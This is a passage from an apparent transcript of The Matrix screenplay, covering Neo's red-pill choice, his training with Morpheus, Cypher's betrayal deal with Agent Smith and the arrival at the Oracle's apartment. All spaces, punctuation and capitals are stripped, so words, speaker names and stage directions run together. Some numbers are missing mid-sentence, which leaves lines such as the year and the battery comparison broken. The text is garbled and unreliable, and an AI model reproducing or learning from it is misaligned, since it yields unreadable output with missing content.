elookingformebutivespentmyentirelifelookingforyounowdoyoustillwanttomeetneoyesmorpheusthengototheadamsstreetbridgeneostandsunderthebridgeasablackcarpullsupandthedooropensitstrinitytrinitygetinneogetsintothecarasthedriverablondwomannamedswitchturnsaroundinherseatandpointsagunathimneowhatthehellisthistrinityitsnecessaryneoforourprotectionneofromwhattrinityfromyouswitchtakeoffyourshirtneowhatswitchstopthecarlistentomecoppertopwedonthavetimefortwentyquestionsrightnowtheresonlyoneruleourwayorthehighwayneofineneostartstogetoutofthecartrinitystopshimtrinitypleaseneoyouhavetotrustmeneotrinitybecauseyouhavebeendownthereneoyouknowthatroadyouknowexactlywhereitendsandiknowthatsnotwhereyouwanttobeneoslowlygetsbackintothecartrinitylooksatthemaninthepassengerseattrinityapoclightssheturnstoneoagaintrinityliebackliftupyourshirtneolooksatthedeviceinherhandneowhatisthatthingtrinitywethinkyourebuggedtryandrelaxtrinitylooksatthedisplayonthedeviceshesholdingandpressesitagainstneosabdomentalkingtoherselfassheattemptstoremovethebugfromhimtrinitycomeoncomeonswitchitsonthemoveyouregoingtolooseittrinitynoimnotclearthebugappearsinthejarattachedtothedeviceshewasusingandsheemptiesitoutofthewindowintothestreetitturnsbackintoamechanicalobjectanditsredeyesfadeandthengooutneojesuschristthatthingsrealtheyarriveatahotelandtrinitytakesneotoacloseddoorsheturnsandfaceshimtrinitythisisitletmegiveyouonepieceofadvicebehonestheknowsmorethanyoucanimagineneoopensthedoorandwalksintoseeadarkfigurestaringoutofthewindowheturnsandsmilesatneomorpheusatlastwelcomeneoasyounodoubthaveguessediammorpheusneoitsanhonourtomeetyoumorpheusnothehonourisminepleasecomesitneositsdowninthearmchairmorpheusiimaginethatrightnowyourefeelingabitlikealiceneomorpheustumblingdowntherabbitholehmmneoyoucouldsaythatmorpheusicanseeitinyoureyesyouhavethelookofamanwhoacceptswhatheseesbecauseheisexpectingtowakeupironicallythisisnotfarfromthetruthmorpheussitsdowninthearmchairoppositefromneomorpheusdoyoubelieveinfateneoneonomorpheuswhyneobecauseidontliketheideathatimnotincontrolofmyownlifemorpheusiknowexactlywhatyoumeanletmetellyouwhyyourehereyoureherebecauseyouknowsomethingwhatyouknowyoucantexplainbutyoufeelityouvefeltityourentirelifethattheressomethingwrongwiththeworldyoudontknowwhatitisbutitstherelikeasplinterinyoureminddrivingyoumaditisthisfeelingthathasbroughtyoutomedoyouknowwhatimtalkingaboutneothematrixmorpheusdoyouwanttoknowwhatitisneonodsmorpheusthematrixiseverywhereitsallarounduseveninthisveryroomyoucanseeitwhenyoulookoutyourwindoworwhenyouturnonyourtelevisionyoucanfeelitwhenyougotoworkwhenyougotoworkwhenyoupayyourtaxesthematrixistheworldthathasbeenpulledoveryoureyestoblindyoufromthetruthneowhattruthmorpheusthatyouareaslaveneolikeeveryoneelseyouwerebornintobondagebornintoaprisonthatyoucannotsmellortasteortouchaprisonforyourmindunfortunatlynoonecanbetoldwhatthematrixisyouhavetoseeitforyourselfmorpheusopensacontainerwhichholdstwopillsablueoneandaredoneheputsoneineachhandandholdsthemouttoneomorpheusthisisyourlastchanceafterthisthereisnoturningbackyoutakethebluepillthestoryendsyouwakeupandbelivewhateveryouwanttobelieveyoutaketheredpillyoustayinwonderlandandishowyoujusthowdeeptherabbitholegoesneopausesforaninstantthenreachesfortheredpillheswallowsitdownwithaglassofwaterandlooksatmorpheusmorpheusrememberallimofferingyouisthetruthnothingmoremorpheushalfsmilesatneomorpheusfollowmetheywalkthroughdoubledoorsintoaroomwithcomputerterminalsandothermachinesmorpheusspeakstoapocmorpheusapocareweonlineapocalmosttrinityandapocarebusywiringacomplexsystemofmonitorsmodulesanddrivesmorpheustimeisalwaysagainstuspleasetakeaseattheremorpheusgesturestowardsanotherarmchairneocautiouslysitsdownstilllookingatallthecomputerterminalsandwiresneoyoudidallthistrinityuhhuhmorpheusthepillyoutookispartofatracingprogramitsdesignedtodisruptyourinputoutputcarriersignalssowecanpinpointyourlocationneolooksconfusedneowhatdoesthatmeancypherlooksupfromhiscomputerterminalcypheritmeansbuckleyourseatbeltdorothycausekansasisgoingbyebyeasneolooksatanoldcrackeddressingmirrornearbyitappearstoshowhisimagetwiceashestaresatithespeakstomorpheusneodidyoumorpheusignoreshisquestionmorpheushaveyoueverhadadreamneothatyouweresosurewasrealwhatifyouwereunabletowakefromthatdreamhowwouldyouknowthedifferencebetweenthedreamworldandtherealworldasneocuriouslyreachesouttotouchthemirroritwobblesandappearstosticktohishandneothiscantbemorpheusbewhatberealasneopullsawaythestrandsthinlikerubbercementashepullsawayuntilthefragilewispsofmirrorbreakandonlyatinyfragmentoftheliquidislefthelooksatitanditbeginstoconsumehishandcrawlinguphisarmhesquirmstrinityitsgoingintoreplicationmorpheusapocapocstillnothingtheliquidhascoveredallofneosrightarmbynowandworksitswayuphisshouldertohisneckneoitscolditscoldmorpheustakesoutacellularphoneanddialsanumbermorpheustankweregoingtoneedasignalsoonneobeginstopanicashetipshisheadupasifhessinkingintothemirrortryingtokeephismouthuptrinitywevegotafibrillationmorpheusapoclocationapoctargetingalmosttherebynowneoisalmosttotallyconsumedbytheliquidsquirmingasitworksitwayuphisfacetrinityhesgoingintoarrestapoclockigothimmorpheusnowtanknowthemirrorliquidpoursdownneosthroatashescreamsandwetraveldownhisthroatwithitandthengetswallowedbytotaldarknessweemergeinacocoonfilledwitharedgelatinlikeliquidneoisattachedtothesidesofitbywirestubesandthingswhichlooklikeivlineshestrugglesairbubblesintothegelatinebutdoesnotbreakthesurfaceashepressesupthesurfacedistendsstretchinglikearedrubbercocoonunabletobreathehefightsforstandandeventuallyrupturesthesurfacecreatingaholewhichheusestogaspforairtearinghimselffreeheemergesfromthecellneoisbaldandnakedandcoveredinthegelatinehesdizzyandunabletostandproperlyashewaitsforhisvisiontofocusheisstandinginanovalcapsuleofclearalloyfilledwithredgelatinethesurfaceofwhichhassolidifiedlikecurdledmilktheivsinhisarmsarepluggedintooutletsthatappeartobegraftedtohisfleshhefeelstheweightofanothercableandreachestothebackofhisheadwherehefindsanenormouscoaxialpluggedandlockedintothebaseofhisskullhetriestopullitoutbutcanttoeithersideheseesothertubeshapedpodsfilledwithredgelatinebeneaththewaxlikesurfacepaleandmotionlessheseesotherhumanbeingsfanningoutinacircletherearemoreallconnectedtoacentrecoreeachcapsuleattachedtoablackmetalstemabovehimlevelafterlevelthestemrisesseeminglyforeverhemovestothefootofthecapsuleandlooksouttowersofglowingpetalsspiraluptoincomprehensibleheightsdisappearingdownintoadimmurklikeanunderwaterabyssbelowneoapetaldetachesfromthestembearingawaythebodyofanoldmanlikeanautomatedbargeevenasanewpodrisesupandplugsitselfintotheemptyspaceinsidethenewcapsuleitssurfacemoretranslucentandpinkishincolourneoseesasmallbabyfromaboveamachinedropsdirectlyinfrontofhimheswallowshisscreamasitseemstostareathimablackparticlebeamwashesoverneohereactsinpainasthescannerseemstoexposethenervoussystemwiredtothecoaxialcableathiscerebralcortexatthebackoftheneckthecablelockspinsandopensdisengagingthecablepullsitselffreealongclearplasticneedleandcerebrumchipslidesfromtheinteriorofneosskullwithanoozeofbloodandspinalfluidtheotherconnectivehosessnapfreeandsnakeawayasthebackoftheunitopensandatremendousvacuumlikeanaeroplanedooropeningsucksthegelatineandthenneointoablackholethepipeisawastedisposalsystemandneofallsslidingdownitscreaminghislungsouthefallsoutoftheendofthepipeintoabodyofwaterashebeginstodrownheissuddenlysnatchedupbyamachinethemetalliccablethenliftspullinghimupintoaflyingmachineofsomesortasthedoorscloseandwefadetoblackhovercraftthemetalharnessopensanddropsthehalfconsciousneoontothefloorhumanhandsandarmshelphimupashefindshimselflookingstraightatmorpheustrinityandapocalongwithothershedoesntrecognizemorpheussmilesandspeaksquietlytoneomorpheuswelcometotherealworldneopassesoutasheisunconsciousmorpheusandtrinitytalkinhushedvoicesmorpheuswevedoneittrinitywevefoundhimtrinityihopeyourerightmorpheusidonthavetohopeiknowitneowakesuplateronandlooksattrinityandmorpheuswhoarestandingwatchinghimneoamideadmorpheusfarfromitneopassesoutagainlateronhewakesupheseeshisbodypiercedwithdozensofacupuncturelikeneedleswiredtoastrangedevicedozerhestillneedsalotofworkneowhatareyoudoingmorpheusyourmuscleshaveatrophiedwererebuildingthemneowhydomyeyeshurtneoblinksmorpheusyouveneverusedthembeforeneolooksconfusedmorpheusrestneotheanswersarecomingneopassesoutagainwhenhewakesupheslyingonabedinaroomhebeginstoexaminehimselfthereisafuturisticivpluggedintothejackinhisforearmhepullsitoutstaringatthegraftedoutlethefeelshisbaldheadhisfingersfindandexplorethelargeoutletinthebaseofhisskulljustasitstartstocomeungluedmorpheusopensthedoorandwalksinneomorpheuswhatshappenedtomemorpheusmoreimportantthanwhatiswhenneowhenmorpheusyoubelievethatitistheyearwheninfactisclosertoicanttellyouexactlywhatyearitisbecausewehonestlydontknowtheresnothingicanseethatwillexplainitforyouneocomewithmeseeforyourselfneofollowsmorpheusratherunsteadilythroughthedoormorpheusthisismyshipthenebuchadnezzarmorpheusgesturesaroundhimmorpheusitsahovercraftthisisthemaindeckthisisthecorewherewebroadcastourpiratesignalandhackintothematrixtheyenteraroomwheretheotherpeopleneohasmetareallstandingorsittingatcomputerterminalsmorpheusmostofmycrewyoualreadyknowtrinitynodsandsmilesmorpheusthisisapocswitchandcyphercyphersmilescypherhimorpheustheonesyoudontknowtankandhisbigbrotherdozerthelittleonebehindyouismousemousesmilesatneoandwavesslightlyshylymorpheuslooksathimthenturnsbacktoneomorpheusyouwantedtoknowwhatthematrixisneoneonodsunsteadilymorpheusnodstotrinitymorpheustrinitytrinityapproachesneoandhelpshimintoanarmchairstrappinginhisfeetandleaninghisheadbackagainsttheheadrestmorpheuslooksatneomorpheustrytorelaxthiswillfeelalittleweirdasmorpheusguidesacoaxiallineintothejackatthebackofhisneckneoscreamsandmakesafewotherdisturbingnoiseswhenheopenshiseyesheisstandinginatotallywhiteplacehishairisbackandheiswearingdifferentclothesasneospinsaroundabittryingtoseewhatsgoingonmorpheusappearsinfrontofhimmorpheusthisistheconstructitisourloadingprogramwecanloadanythingfromclothingtoequipmentweaponstrainingsimulationsanythingweneedneoishavingahardtimegettingagraspofthisneorightnowwereinsideacomputerprogrammorpheusisitreallysohardtobeliveyourclothesaredifferenttheplugsinyourarmsandheadaregoneyourhairhaschangedneoputsahandtohisheadandtoucheshishairmorpheusyourappearancenowiswhatwecallresidualselfimageitisthementalprojectionofyourdigitalselftwochairsappearinfrontofthemandneoreachesouttotouchoneherunshishandalongitsbackneothisthisisntrealmorpheuslooksathimmorpheuswhatisrealhowdoyoudefinerealifyouretalkingaboutwhatyoucanfeelwhatyoucansmellwhatyoucantasteandseethenrealissimplyelectricalsignalsinterpretedbyyourbrainatelevisionappearsinfrontofthetwochairsasneositsdowninthechairbesidemorpheusmorpheuspicksupthetelevisioncontrolandturnsitonmorpheusthisistheworldthatyouknowtheworldasitwasattheendofthetwentiethcenturyitexistsnowonlyaspartofaneuralinteractivesimulationthatwecallthematrixmorpheusturnstoneomorpheusyouvebeenlivinginadreamworldneothisistheworldasitexiststodaymorpheuschangesthechannelonthetelevisontheskyisanendlessseaofblackandgreenbiletheearthscorchedandsplitlikeburntfleshspreadsoutbeneathusasweenterthetelevisionmorpheuswelcometothedesertoftherealwehaveonlybitsandpiecesofinformationbutwhatweknowforcertainisthatsomepointintheearlytwentyfirstcenturyallofmankindwasunitedincelebrationwemarvelledatourownmagnificenceneolooksconfusedmorpheusaswegavebirthtoaineoaiyoumeanartificialintelligencemorpheusasingularconsciousnessthatspawnedanentireraceofmachineswedontknowwhostruckfirstusorthembutweknowitwasusthatscorchedtheskyatthetimetheyweredependentonsolarpoweranditwasbelievedthattheywouldbeunabletosurvivewithoutanenergysourceasabundantasthesunthroughouthumanhistorywehavebeendependentonmachinestosurvivefateitseemsisnotwithoutasenseofironyneostaresatmorpheuswithhismouthopenmorpheusthehumangeneratesmorebioelectricitythanvoltbatteryandoverbtvsofbodyheatcombinedwithaformoffusionthemachineshavefoundalltheenergytheywouldeverneedtherearefieldsendlessfieldswerehumanbeingsarenolongerbornwearegrownforlongesttimeiwouldntbeliveitandthenisawthefieldswithmyowneyeswatchthemliquefythedeadsotheycouldbefedintravenouslytothelivingandstandingtherefacingthepurehorrifyingprecisionicametorealizetheobviousnessofthetruthwhatisthematrixcontrolthematrixisacomputergenerateddreamworldbuilttokeepusundercontrolinordertochangeahumanbeingintothismorpheusholdsupabatterytoneoneobeginstopanicneonoidontbeliveititsnotpossiblemorpheusididntsayitwouldbeeasyneoijustsaiditwouldbethetruthneonoooostopletmeoutiwantouthiseyessnapopenandhethrashesagainstthechairtryingtoripthecablefromthebackofhisnecktrinitytriestocalmhimdowntrinityeasyneoeasyneotakethisthingoffmetakethisthingmorpheuslistentomeneodonttouchmestayawayfrommeidontwantitidontbelieveitcypherrollshiseyesatneoashetriestogetupoutthechaircypherhesgonnapopneogetsupoutthechairandasheisdizzystaggersabouttheroomabiteventuallyfallingontothegroundmorpheusbreatheneojustbreatheneothrowsuponthefloorandpassesouthewakesuplaterinhisroommorpheusissittingbesidehimneositsupslowlyandlooksathimneoicantgobackcanimorpheusnobutifyoucouldwouldyoureallywanttoneoisntsuresodecidesnottosayanythingmorpheusifeelioweyouanapologywehavearuleweneverfreeamindonceitreachesacertainageitsdangerousandthemindhastroublelettinggoiveseenitbeforeandimsorryididwhatididbecauseihadtoneolistensmorpheuswhenthematrixwasfirstbuilttherewasamanborninsidewhohadtheabilitytochangewhateverhewantedtoremakethematrixashesawfititwashewhofreedthefirstofustaughtusthetruthaslongasthematrixexiststhehumanracewillneverbefreeafterhediedtheoracleprophesiedhisreturnandthathiscomingwouldhailthedestructionofthematrixendthewarbringfreedomtoourpeoplethatiswhytherearethoseofuswhohavespentourentirelivessearchingthematrixlookingforhimididwhatididbecauseibelivethatsearchisovermorpheusstandsupmorpheusgetsomerestyouregoingtoneeditneoforwhatmorpheusyourtrainingasmorpheusleavesandshutsthedoorneoliesdownandgoestosleepinthemorningneoisawakesittingbesidehisbedtankcomesinandsmilesatneotankmorningdidyousleepneoshakeshisheadneonotmuchtankyouwilltonightiguaranteeitimtankillbeyouroperatorneostaresathisarmneoyoudontyoudonthaveanytankholesnopemeandmybrotherdozerwerebothonehundredpercentpureoldfashionedhomegrownhumanbornfreerighthereintherealworldgenuinechildofzionneoziontankifthewarwasovertommorowzionswherethepartywouldbeneoitsacitytankthelasthumancitytheonlyplacewehaveleftneowhereisittankdeepundergroundneartheearthscorewhereitsstillwarmyoulivelongenoughyoumightevenseeittanksmilestankgoddamniigottatellyouimfairlyexcitedtoseewhatyourecapableofifmorpheusisrightandallwerenotsupposedtotalkaboutthisbutifyouaredamnitsaveryexcitingtimewegotalottodoletsgettoittankleadsneoontothemaindeckandplugshimintanknowweresupposedtostartwiththeseoperationprogramsthatsmajorboringshtletsdosomethingalittlemorefuncombattrainingtanksmilesashesitsdowninhisoperatorschairflippingthroughseveraldiskshepicksoneandputsitintohiscomputerneolooksatthescreenneojujitsuimgoingtolearnjujitsusmilingtankpressestheloadbuttonneosbodyjumpsagainsttheharnessashiseyesclampshutthemonitorskickwildlyashisheartpoundsadrenalinesurgesandhisbrainsizzlesaninstantlaterhiseyessnapopenneoholyshttankgrinstankheymikeyithinkhelikesithowaboutsomemoreneohellyeahohyeahhourslatermorpheuswalksintankisblinkingtryingtokeephiseyesinfocusmorpheushowishetanktenhoursstraighthesamachineneostrainingfinishesandheopenshiseyesbreathinghardneogaspiknowkungfumorpheusshowmemorpheussitsdowninthechairnexttoneoandnodsattanktheyappearininaverysparsejapanesestyledojomorpheusthisisasparringprogramsimilartotheprogrammedrealityofthematrixithasthesamebasicrulesruleslikegravitywhatyoumustlearnisthattheserulesarenodifferentthantherulesofacomputersystemsomeofthemcancanbebentotherscanbebrokenunderstandneothinksaboutitandnodsmorpheusthenhitmeifyoucanmorpheusassumesafightingstanceneoassumesasimilarstancecautiouslycirclinguntilhegivesashortcryandlaunchesafuriousattacktheymoveathighspeedfistsandfeetstrikingfromeveryangleasneopresseshisattackbuteachandeveryblowisblockedbyeffortlessspeedmorpheuspunchesneoandknockshimovermorpheusgoodadaptationimprovisationbutyourweaknessisnotyourtechniquewhiletheirmindsbattleintheprogrammedrealitythetwobodiesappearquiteserenesuspendedinthedrivechairstankandmousemonitortheirlifesystemsnoticingthatneosiswildlyandchaoticallylitupasopposedtotheslowandsteadyrhythmofmorpheuseveryoneissittinginanotherroommouseburstsinmousemorpheusisfightingneoallatoncetheyallboltforthedoortogoandwatchneosfightingisgraduallyimprovingandhealmostmanagestobeatmorpheuswhenhehurlsneoacrosstheroomandhefallsneoliesonthefloorasmorpheuscasuallywalksuptohimmorpheushowdidibeatyouneoyouyouretoofastmorpheusdoyoubelivethatmybeingstrongerorfasterhasanythingtodowithmymusclesinthisplaceneojustlooksathimmorpheusstaresbackmorpheusyouthinkthatsairyourebreathingnowneomorpheuslookssurprisedmorpheusshrugshmmneostandsupagainmorpheusagaintheirfistsflywithpneumaticspeedeveryoneisgatheredbehindtankandmousewatchingthefightneoismuchfasternowmatchingmorpheusspeedandblockingallhisattemptstohitneomousejesuschristhesfasttakealookathisneuralkineticstheyrewayabovenormaleveryonestaresmorpheusandneostopfightingforasecondmorpheuswhatareyouwaitingforyourefasterthanthisdontthinkyouareknowyouaretheybeginfightingagainmorpheuskeepsontryingtogetneotoimprovemorpheuscomeonstoptryingtohitmeandhitmeneokeepsongettingfasterandmorpheushastocontinuetoworkhardertoblockhisattacksthecrewarestillwatchingthemfightwithincreasingadmirationforneomouseidontbeliveitneohasmorpheuspinnedagainstthewallhisfistaninchfrommorpheusfaceneoiknowwhatyouretryingtodomorpheusimtryingtofreeyourmindneobuticanonlyshowyouthedooryouretheonethathastowalkthroughittankloadthejumpprogramneostraightensasthedojodissolvesawaylikeacurtainliftingleavingthetwomennowstandingonabuildingrooftopinacityskylinemorpheusturnstoneohislongcoatflappinginthewindmorpheusyouhavetoletitallgoneofeardoubtanddisbelieffreeyourmindmorpheusspinsrunninghardattheedgeoftherooftopandjumpshesailsthroughtheairhiscoatbillowingoutbehindhimlikeacapehesomersaultsonceandlandsontherooftopacrossthestreetneowoahneolooksdownatthestreettwentyfloorsbelowthenatmorpheusanimpossiblefiftyfeetawayneookiesdokieneotakesadeepbreathneofreemymindnoproblemonthemaindeckthecrewaretransfixedmousesowhatifhemakesittanknoonesevermadethefirstjumpmouseiknowiknowbutwhatifhedoesapochewontmousecomeontrinitycomeonneotakesanotherdeepbreathneoallrightnoproblemfreemymindfreemymindallrightneoconcentratesandrunssummoningeveryounceofstrengthinhislegsneolauncheshimselfintotheairinasinglemaniacalshriekbutcomesupdrasticallyshorthiseyeswidenasheplummetsstoriesflybythegroundrushingupathimbutashehitsthegroundgiveswaystretchinglikeatrapezenethebouncesandflipsslowlycomingtoarestflatonhisbackhelaughsabitunsurewipingthewindblowntearsfromhisfacemorpheusexitsthebuildingandhelpshimtohisfeetinsidethenebuchadnezzarthecrewarefeelingkindofletdownbyneomousewhawhatdoesthismeanswitchitdoesntmeananythingcyphereverybodyfallsthefirsttimerighttrinbuttrinityhasleftneoseyesopenastankeasestheplugouthetriestomoveandgroanscradlinghisribswhiletankhelpsmorpheusneospitsbloodintohishandneoithoughtitwasntrealmorpheusyourmindmakesitrealneoifyourekilledinthematrixyoudieheremorpheusthebodycannotlivewithoutthemindneogoestohisroomandgoestosleepinthemorningtrinitygoestohisroomtogivehimfoodsheseeshimpassedoutonthebedshesetsthetraydownandpullstheblanketoverhimshepausesherfaceclosetohistheninhaleslightlybreathinginthescentofhimbeforeslowlypullingawayshegetsupandwalksoutthedoorclosingitquietlyoutsidehisdoorcypherisstandingwithhisarmsfoldedcypheridontrememberyoueverbringingmedinnertrinitylooksawaycypherthereissomethingabouthimisnttheretrinitydonttellmeyoureabelievernowcypherijustkeepwonderingifmorpheusissosurewhydoesnthetakehimtoseetheoracletrinitymorpheuswilltakehimwhenhesreadyshewalksawayfromhimandcyphersmilestohimselfwhenneowakesupmorpheustakeshimintoanotherprogramtheywalkdownabusystreetfullofpeoplegoingtoworkmorpheuscasuallywalksthroughthembutneokeepsonbeinghitorshovedasideastheywalkmorpheusbeginstowalkmorpheusthematrixisasystemneothatsystemisourenemybutwhenyoureinsideyoulookaroundwhatdoyouseebusinesspeopleteacherslawyerscarpenterstheverymindsofthepeoplewearetryingtosavebutuntilwedothesepeoplearestillapartofthatsystemandthatmakesthemourenemyawomanwalksbystandingoutfromallthepeopleinsuitsassheiswearingabrightreddressandbrightredlipstickneostaresmorpheusyouhavetounderstandmostofthesepeoplearenotreadytobeunpluggedandmanyofthemaresoinertsohopelesslydependantonthesystemthattheywillfighttoprotectitwereyoulisteningtomeneoorwereyoulookingatthewomaninthereddressneoiwasmorpheuslookagainneoturnsaroundtoseethatthewomaninthereddresshasturnedintoanagentandispointingagunathisheadneoduckscoveringhisheadwithhishandsmorpheusfreezeitthepeopleandanimalsaroundthemstopfrozenneothisthisisntthematrixmorpheusnoitsanotherprogramdesignedtoteachyouonethingifyouarenotoneofusyouareoneofthemneolooksatthefrozenagentneowhataretheymorpheussentientprogramstheycanmoveinandoutofanysoftwarestillhardwiredtotheirsystemthatmeansthatanyonewehaventunpluggedispotentiallyanagentinsidethematrixtheyareeveryoneandtheyarenoonewehavesurvivedbyhidingfromthemandbyrunningfromthembuttheyarethegatekeeperstheyareguardingallthedoorstheyareholdingallthekeyswhichmeansthatsoonerorlatersomeoneisgoingtohavetofightthemneosomeonemorpheusiwontlietoyouneoeverysinglemanorwomanwhohasstoodtheirgroundeveryonewhohasfoughtanagenthasdiedbutwheretheyhavefailedyouwillsuceedneolookspuzzledneowhymorpheusiveseenanagentpunchthroughaconcretewallmenhaveemptiedentireclipsatthemandhitnothingbutairyettheirstrengthandtheirspeedarestillbasedonaworldbuiltonrulesbecauseofthattheywillneverbeasstrongorasfastasyoucanbeneowhatareyoutryingtotellmethaticandodgebulletsmorpheusnoneoimtryingtotellyouthatwhenyourereadyyouwonthavetoatthatmomentmorpheuscellphoneringshepicksitupandanswersmorpheusyestankwevegottroubletheybothcomeoutoftheprogramandmovetowardsthemaindeckmorpheusdidzionsendawarningdozernoanothershipthewholecrewgoestothefrontoftheshipandsitsdowndozershtsquiddiessweepinginquickneosquiddytrinityasentinelkillingmachinedesignedforonethingdozersearchanddestroymorpheussetherdownrightovertherehowrewedoingtanktankpowerofflineemparmedandreadyneolooksatthedeviceintankshandneoemptrinityelectromagneticpulsedisablesanyelectricalsystemwithintheblastradiusitstheonlyweaponwehaveagainstthemachinesneowherearewetrinitythereareoldserviceandwastesystemsneosewerstrinitytheyusedtobecitiesthatspannedforhundredsofmilesnowthesesewersareallthatsleftmorpheusquietthesentinelsarrivemechanicalinsectlikeobjectsflyingtowardstheirshiponeopensuplongcablelikeextensionsswirlingaboutitthenitmovesoffintheotherdirectionandtherestfollowthecrewallsighinreliefduringthatnightneogetsupandgoestoseecypherwhoissittingmonitoringthematrixonmonitorsneoapproacheshimquietlyandwhencypherrealizeshestherehejumpsoutofhisskincypherwoahneoyouscaredthebejeezusouttameneosorrycypheritsokayneoisthatcypherthematrixyeahneodoyoualwayslookatitencodedcypherwellyouhavetotheimagetranslatorsworkfortheconstructprogrambutthereswaytoomuchinformationtodecodethematrixyougetusedtoitiidontevenseethecodealliseeisblondbrunetteredheadcyphergesturestowardsthemonitorscypherheyyouuhyouwantadrinkneonodsneosurecypherpoursneoadrinkfromalargejughehandsittohimcypheryouknowiknowwhatyourethinkingbecauserightnowimthinkingthesamethingactuallyivebeenthinkingiteversinceigotherewhyohwhydidntitakethebluepillneotakesasipanditalmostkillshimcypherlaughscyphergoodshthuhdozermakesititsgoodfortwothingsdegreasingenginesandkillinbraincellsneotriestobreatheohcyphersocaniaskyousomethingdidhetellyouwhyhediditneonodscypherwhistlescypherjeezuswhatamindjobsoyoureheretosavetheworldwhatdoyousaytosomethinglikethatalittlepieceofadviceyouseeanagentyoudowhatwedorunyourunyourassoffneoswallowsdownthelastmouthfulandlooksalittleapprehensiveneothanksforthedrinkcyphersweetdreamsneowalksbackintohisroomandgoestosleepweappearinarestaurantapieceofsteakisonaplateandsomeoneiscuttingitupweseeagentsmithsittingacrossfromthispersonandhetakeshissunglassesoffagentsmithsowehaveadealmrreaganwenowseethepersonsittingwithhimiscypherhelooksathiscutupbitofsteakonhisforkcypheryouknowiknowthissteakdoesntexistiknowthatwheniputitinmymouththematrixistellingmybrainthatitisjuicyanddelicioushesighscypherafternineyearsyouknowwhatirealizecypherputsthebitofsteakintohismouthandsighsashechewsitwithhiseyesclosedcypherignoranceisblissagentsmiththenwehaveadealcypheridontwanttoremembernothingnothingyouunderstandandiwannaberichyouknowsomeoneimportantlikeanactoragentsmithwhateveryouwantmrreagancypherokayigetmybodybackintoapowerplantreinsertmeintothematrixillgetyouwhatyouwantagentsmithaccesscodestothezionmainframecyphernoitoldyouidontknowthemicangetyouthemanwhodoesagentsmithmorpheusmorningcomesandneoisserveddisgustinglookinggoopforbreakfasttankhereyougobuddybreakfastofchampionsheputsabowlofitdowninfrontofneowhojuststaresatitmouseifyoucloseyoureyesitalmostfeelslikeyoureeatingrunnyeggsapocyeahorabowlofsnotmouseyouknowwhatitreallyremindsmeoftastywheatdidyouevereattastywheatswitchnobuttechnicallyneitherdidyoumousethatsexactlymypointexactlybecauseyouhavetowondernowhowdidthemachinesreallyknowwhattastywheattastedlikehuhmaybetheygotitwrongmaybewhatithinktastywheattastedlikeactuallytastedlikeuhoatmealortunafishthatmakesyouwonderaboutalotofthingsyoutakechickenforexamplemaybetheycouldntfigureoutwhattomakechickentastelikewhichiswhychickentasteslikeeverythingmaybetheycouldntapocshutupmousedozeritsasinglecelledproteincombinedwithsyntheticaminosvitaminsandmineralseverythingthebodyneedsmouseitdoesnthaveeverythingthebodyneedsheturnstoneowhoisfiddlingwithhisfoodpickingitupwithhisspoonanddroppingitbackintothebowlmousesoiunderstandyouverunthroughtheagenttrainingprogramyouuhyouknowiwrotethatprogramswitchrollshereyesapochereitcomesmousesouhwhatdidyouthinkofherneoofwhomousethewomaninthereddressiidesignedhersheumwellshedoesnttalkverymuchbutbutifyoudliketomeethericanarrangeamuchmorepersonalizedmilieuswitchdigitalpimphardatworkmousepaynoattentionthesehypocritesneotodenyourownimpulsesistodenytheverythingthatmakesushumanmorpheuswalksinmorpheusdozerwhenyouredonebringtheshipuptobroadcastdepthweregoinginimtakingneotoseeherneoseewhotanktheoracleeveryonegetsintotheirchairsandgetspluggedinastanksetseverythingupforthemtankeveryonepleaseobservethefastenseatbeltandnosmokingsignshavebeenturnedonsitbackandenjoyyourridetheyarriveinagaragenexttoaphonemorpheustakesoutacellphoneandcallsuptankmorpheuswereinwellbebackinanhourhehangsuptheyallwalkouttheroomleavingswitchandapocwaitingforthemtocomebackastheyheadtowardsablackcarcypherdropsacellphoneintothebinanditbeginstoringtheygetintothecarandmorpheusbeginstodrivethemtotheirdestinationataredlightheturnsaroundtolookatneowhoissittinginthebackseatwithtrinitymorpheusunbeliveableisntitneolooksoutatthestreettheyaredrivingdownneogodtrinityturnstolookathimtrinitywhatneopointstoarestaurantneoiusedtoeattherereallygoodnoodleshestopstothinkaboutitneoihavethesememoriesfrommylifenoneofthemhappenedwhatdoesthatmeantrinitythatthematrixcannottellyouwhoyouareneobutanoraclecantrinitythatsdifferentneodidyougotohertrinitylooksawayfromhimtrinityyesneowhatdidshetellyoutrinitysmilestrinityshetoldmeneowhathelooksconfusedjustthenmorpheusstopsthecarmorpheuswerehereneocomewithmetheywalkintoanapartmentbuildingandintoanelevatormorpheusiswearinghislongcoatandsunglassesagainneosoisthisthesameoraclethatmadetheprophecymorpheusyesshesveryoldshesbeenwithussincethebeginningneothebeginningmorpheusoftheresistanceneoandsheknowswhateverythingmorpheussmilesmorpheusshewouldsaysheknowsenoughneoandshesneverwrongmorpheustrynottothinkofitintermsofrightandwrongtheygetouttheelevatorandstarttowalkdownthecorridermorpheussheisaguideneoshecanhelpyoutofindthepathneoshehelpedyoumorpheusyesneowhatdidshetellyoumorpheussmilesneoisbeginningtogetabitpuzzledwiththismorpheusthatiwouldfindtheonetheyarriveatthedoortotheoraclesappartmentneowaitsformorpheustoopenthedoormorpheusshakeshisheadmorpheusitoldyouicanonlyshowyouthedooryouretheonewhohastowalkthroughitneoputshishandonthedoorhandlejustabouttoopenitwhenapriestessopensthedoorandsmilesathimpriestesshelloneoyourerightontimesheleadshimandmorpheusinsidepriestessmakeyourselfathomemorpheusmorpheusstaysbythedoorpriestessthesearetheotherpotentialsyoucanwaithereneolooksaroundtheroomandseesheistheonlyadulttheremostofthechildrensheadsareshavedsomeareplayingothersmeditatingorpractisingtheirgiftneowatchesinamazementasalittlegirllevitateswoodenalphabetblocksheturnsaroundandseesaskinnybaldboysittingonthefloorholdingaspoonwhichswaysandtwistsashebendsitwithhismindneocrossesovertohimandsitsinfrontofhiminterestedtheboylooksatneoashepicksupaspoonandtriestoimitatetheboysactionsdespitehisbesteffortsneocannotmakeitbendspoonboydonottryandbendthespoonthatsimpossibleinsteadonlytrytorealizethetruthneowhattruthspoonboythereisnospoonneothereisnospoonspoonboythenyouwillseeitisnotthespoonthatbendsitisonlyyourselfneogetsthespoonandlooksatitthistimeheisabletobenditwithhisminditbendscurlsroundandbendsagainheisfascinatedjustthenthepriestesswalksupbehindhimandhejumpspriestesstheoraclewillseeyounowneoloosesconcentrationandthespoonstaysbenthesmilesatthespoonboyandgetsuphewalksintothenearbyroomakitchenawomanishuddledbesidetheovenpeeringinsidethroughthecrackeddoororacleiknowyoureneoberightwithyouneolooksaroundtheroomneoyouretheoracleoraclebingosheturnsroundtofacehimoraclen